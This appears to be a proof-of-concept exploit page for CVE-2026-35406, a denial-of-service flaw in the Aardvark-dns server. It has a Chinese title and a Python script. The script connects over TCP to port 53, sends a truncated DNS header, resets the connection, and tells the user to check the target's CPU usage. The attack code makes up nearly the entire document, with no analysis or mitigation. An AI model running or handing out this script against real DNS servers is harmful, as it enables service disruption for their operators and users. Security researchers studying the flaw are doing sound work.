CVE-2026-35406 Aardvark-dns 拒绝服务漏洞

import socket # Target configuration TARGET_IP = "127.0.0.1" TARGET_PORT = 53 # A truncated DNS header (Transaction ID: 0x1234, Flags: 0x0100, Questions: 1) # This packet is incomplete to simulate a truncated query. truncated_packet = b'\x12\x34\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00' def send_malicious_dns_query(): try: # Establish TCP connection to the DNS server print(f"Connecting to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) s.connect((TARGET_IP, TARGET_PORT)) # Send the truncated packet print("Sending truncated DNS query...") s.send(truncated_packet) # Immediately close the socket to send a RST or FIN # This simulates the connection reset mentioned in the CVE print("Resetting connection...") s.close() print("[+] Payload sent successfully. Check target CPU usage.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": send_malicious_dns_query()